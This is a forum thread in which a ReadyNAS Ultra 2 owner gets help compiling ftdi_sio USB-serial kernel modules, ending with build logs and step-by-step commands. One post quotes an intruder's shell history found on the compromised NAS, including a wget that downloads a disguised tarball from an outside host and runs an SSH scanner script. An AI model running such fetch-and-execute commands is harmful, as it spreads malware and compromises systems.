Reply
Topic Options
- Subscribe to RSS Feed
- Mark Topic as New
- Mark Topic as Read
- Float this Topic for Current User
- Bookmark
- Subscribe
- Printer Friendly Page
Re: Need help with ftdi_sio drivers
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-04
01:35 AM
2013-05-04
01:35 AM
Need help with ftdi_sio drivers
Im trying to get my rfxtrx433 usb to work with my readynas ultra 2 with os 6 installed but i cant understand how to install/compile the ftdi_sio drivers, anyone can help me with this?
Message 1 of 30
Labels:
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-04
01:02 PM
2013-05-04
01:02 PM
Re: Need help with ftdi_sio drivers
I compiled some kernel drives four years back for a few items. The steps are different now, but you may find some hints in my posts to help along the way:
viewtopic.php?f=35&t=29874
viewtopic.php?f=35&t=29874
Message 2 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-09
10:39 PM
2013-05-09
10:39 PM
Re: Need help with ftdi_sio drivers
The problem is that i have no idea how to compile the kernel drivers, i have downloaded the x64 version from this page http://www.ftdichip.com/Drivers/VCP.htm and tried to compile it as root but i have no idea if im even close to doing it the right way but here is the output from "make"
root@nas-27-0D-A0:~/ftdi_sio# make
gcc -Wall -D__KERNEL__ -DMODULE -I/lib/modules/3.0.74.RNx86_64.2.1/build/include -I/usr/src/linux-3.0.74.RNx86_64.2.1/drivers/usb/serial/ -O -c -o ftdi_sio.o ftdi_sio.c
ftdi_sio.c:253:24: fatal error: linux/init.h: No such file or directory
compilation terminated.
make: *** [ftdi_sio.o] Error 1
chirpa wrote: I compiled some kernel drives four years back for a few items. The steps are different now, but you may find some hints in my posts to help along the way:
http://www.readynas.com/forum/viewtopic.php?f=35&t=29874
Message 3 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-09
10:44 PM
2013-05-09
10:44 PM
Re: Need help with ftdi_sio drivers
You need the linux kernel headers from the GPL package, and drop them in /usr/src/linux.
Maybe someone else on here can chip in. I don't use ReadyNAS systems myself anymore to have tried this recently.
Maybe someone else on here can chip in. I don't use ReadyNAS systems myself anymore to have tried this recently.
Message 4 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-09
10:48 PM
2013-05-09
10:48 PM
Re: Need help with ftdi_sio drivers
I guess i need the headers for the kernel that is used on OS6 then, do you know where can i download those files?
Thanks for trying to help me.
Thanks for trying to help me.
chirpa wrote: You need the linux kernel headers from the GPL package, and drop them in /usr/src/linux.
Maybe someone else on here can chip in. I don't use ReadyNAS systems myself anymore to have tried this recently.
Message 5 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-09
11:11 PM
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-09
11:13 PM
2013-05-09
11:13 PM
Re: Need help with ftdi_sio drivers
ty, i try that but maybe i have to wait for 6.0.5 then...
chirpa wrote: v6.0.4: ftp://downloads.netgear.com/files/GPL/ReadyNASOS_V6.0.4_WW_src.zip
They haven't posted v6.0.5 GPL yet.
Message 7 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
12:06 PM
2013-05-22
12:06 PM
Re: Need help with ftdi_sio drivers
I guess i will have to give up this, cant understand how to compile it.
Message 8 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
12:07 PM
2013-05-22
12:07 PM
Re: Need help with ftdi_sio drivers
If you can give me SSH to the box, I can poke around at getting it working.
Message 9 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
12:25 PM
2013-05-22
12:25 PM
Re: Need help with ftdi_sio drivers
I have sent you an pm with login details and ip.
Thank you
Thank you
chirpa wrote: If you can give me SSH to the box, I can poke around at getting it working.
Message 10 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
12:51 PM
2013-05-22
12:51 PM
Re: Need help with ftdi_sio drivers
Thanks, got it. I'll try to take a look in between other stuff. Starting right now by downloading the GPL packages to it.
Message 11 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
01:02 PM
2013-05-22
01:02 PM
Re: Need help with ftdi_sio drivers
ok great, time for bed for me now 🙂
chirpa wrote: Thanks, got it. I'll try to take a look in between other stuff. Starting right now by downloading the GPL packages to it.
Message 12 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
01:07 PM
2013-05-22
01:07 PM
Re: Need help with ftdi_sio drivers
GPL extracted. Selected the FTDI module in the kernels 'menuconfig'. Now waiting for the Kernel to compile (will take awhile, U2 is not super fast), then I can try installing the module. If all goes well, will see it. If not, will need more tweaking.
Is the device connected right now?
Is the device connected right now?
Message 13 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
07:50 PM
2013-05-22
07:50 PM
Re: Need help with ftdi_sio drivers
Yes, the usb device is connected.
When i unplug/plug it in again and use dmesg i get this message.
When i unplug/plug it in again and use dmesg i get this message.
usb 3-1: USB disconnect, device number 2
usb 3-1: new full speed USB device number 3 using uhci_hcd
Message 14 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
08:10 PM
2013-05-22
08:10 PM
Re: Need help with ftdi_sio drivers
Re-compiling, had some issues with version. The GPL uses a stock kernel tree, not same compile options the actual systems use.
Message 15 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
09:25 PM
2013-05-22
09:25 PM
Re: Need help with ftdi_sio drivers
Disconnect, reconnect now.
/data/Backup/GPL/linux-3.0.74# make modules_install
INSTALL drivers/usb/serial/ftdi_sio.ko
INSTALL drivers/usb/serial/usbserial.ko
DEPMOD 3.0.74.RNx86_64.2.1
Message 16 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-22
09:28 PM
2013-05-22
09:28 PM
Re: Need help with ftdi_sio drivers
Spoke too soon, need to do some more stuff.
modprobe: can't load module usbserial (kernel/drivers/usb/serial/usbserial.ko): invalid module format
Message 17 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-23
07:36 AM
2013-05-23
07:36 AM
Re: Need help with ftdi_sio drivers
Thank you for your help so far, seams like you are getting close to get it working but what do i know, wish i could learn this stuff myself 🙂
Message 18 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-23
09:39 AM
2013-05-23
09:39 AM
Re: Need help with ftdi_sio drivers
Trying it again, takes 30-40 minutes on the Ultra 2 to compile it.
Message 19 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-23
10:34 PM
2013-05-23
10:34 PM
Re: Need help with ftdi_sio drivers
We are in business!
usbcore: registered new interface driver usbserial
usbserial: USB Serial Driver core
USB Serial support registered for FTDI USB Serial Device
ftdi_sio 3-1:1.0: FTDI USB Serial Device converter detected
usb 3-1: Detected FT232RL
usb 3-1: Number of endpoints 2
usb 3-1: Endpoint 1 MaxPacketSize 64
usb 3-1: Endpoint 2 MaxPacketSize 64
usb 3-1: Setting MaxPacketSize 64
usb 3-1: FTDI USB Serial Device converter now attached to ttyUSB0
usbcore: registered new interface driver ftdi_sio
ftdi_sio: v1.6.0:USB FTDI Serial Converters Driver
# ls -l /dev/ttyUSB0
crw-rw---T 1 root dialout 188, 0 May 24 07:33 /dev/ttyUSB0
Message 20 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-23
10:38 PM
2013-05-23
10:38 PM
Re: Need help with ftdi_sio drivers
At the same time, unless you've been doing this stuff on your box, I suggest you factory default it, and change the root SSH password.
I saw /usr/sbin/apache/log (does not exist) using a lot of CPU earlier. My guess is there is a rootkit on your NAS. Looking at that program, its an SSH scanner. Your box has been compromised. Not surprised being port 22, with default password 😞 I know how to get the kernel modules compiled properly on this platform now, so it will be easy for me to re-produce on a new clean install.
96 wget http://root-arhive.at.ua/scanner/gosh.jpg gosh.jpg
97 tar zxvf gosh.jpg
98 rm -rf gosh.jpg
99 cd gosh
100 touch bios.txt
101 ./go.sh 146
I saw /usr/sbin/apache/log (does not exist) using a lot of CPU earlier. My guess is there is a rootkit on your NAS. Looking at that program, its an SSH scanner. Your box has been compromised. Not surprised being port 22, with default password 😞 I know how to get the kernel modules compiled properly on this platform now, so it will be easy for me to re-produce on a new clean install.
Message 21 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-24
07:45 AM
2013-05-24
07:45 AM
Re: Need help with ftdi_sio drivers
I have factory default the nas now, details in a pm.
Thank you
Thank you
Message 22 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-24
09:44 AM
2013-05-24
09:44 AM
Re: Need help with ftdi_sio drivers
K, repeating steps on a clean box now.
Message 23 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-24
12:34 PM
2013-05-24
12:34 PM
Re: Need help with ftdi_sio drivers
All good again.
Building modules, stage 2.
MODPOST 3 modules
CC drivers/scsi/scsi_wait_scan.mod.o
LD [M] drivers/scsi/scsi_wait_scan.ko
CC drivers/usb/serial/ftdi_sio.mod.o
LD [M] drivers/usb/serial/ftdi_sio.ko
CC drivers/usb/serial/usbserial.mod.o
LD [M] drivers/usb/serial/usbserial.ko
INSTALL drivers/scsi/scsi_wait_scan.ko
INSTALL drivers/usb/serial/ftdi_sio.ko
INSTALL drivers/usb/serial/usbserial.ko
DEPMOD 3.0.74.RNx86_64.2.1
usbcore: registered new interface driver usbserial
usbserial: USB Serial Driver core
USB Serial support registered for FTDI USB Serial Device
ftdi_sio 3-1:1.0: FTDI USB Serial Device converter detected
usb 3-1: Detected FT232RL
usb 3-1: Number of endpoints 2
usb 3-1: Endpoint 1 MaxPacketSize 64
usb 3-1: Endpoint 2 MaxPacketSize 64
usb 3-1: Setting MaxPacketSize 64
usb 3-1: FTDI USB Serial Device converter now attached to ttyUSB0
usbcore: registered new interface driver ftdi_sio
ftdi_sio: v1.6.0:USB FTDI Serial Converters Driver
Message 24 of 30
- Mark as New
- Bookmark
- Subscribe
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
2013-05-24
12:36 PM
2013-05-24
12:36 PM
Re: Need help with ftdi_sio drivers
Steps performed...
# apt-get update; apt-get install build-essential libncurses5-dev
# cd /data/Backup
# mkdir GPL
# cd GPL
# wget http://www.readynas.com/download/GPL/readynasos/ReadyNASOS_V6.0.6_WW_src.zip
# unzip ReadyNASOS_V6.0.6_WW_src.zip
# cd linux-3.0.74/
# cp arch/x86/configs/readynas_defconfig .config
# make menuconfig // enable module for device
# make ARCH=x86_64; make modules_install ARCH=x86_64
# modprobe ftdi_sio
// from .config for this specific use case
# USB port drivers
CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_FTDI_SIO=m
Message 25 of 30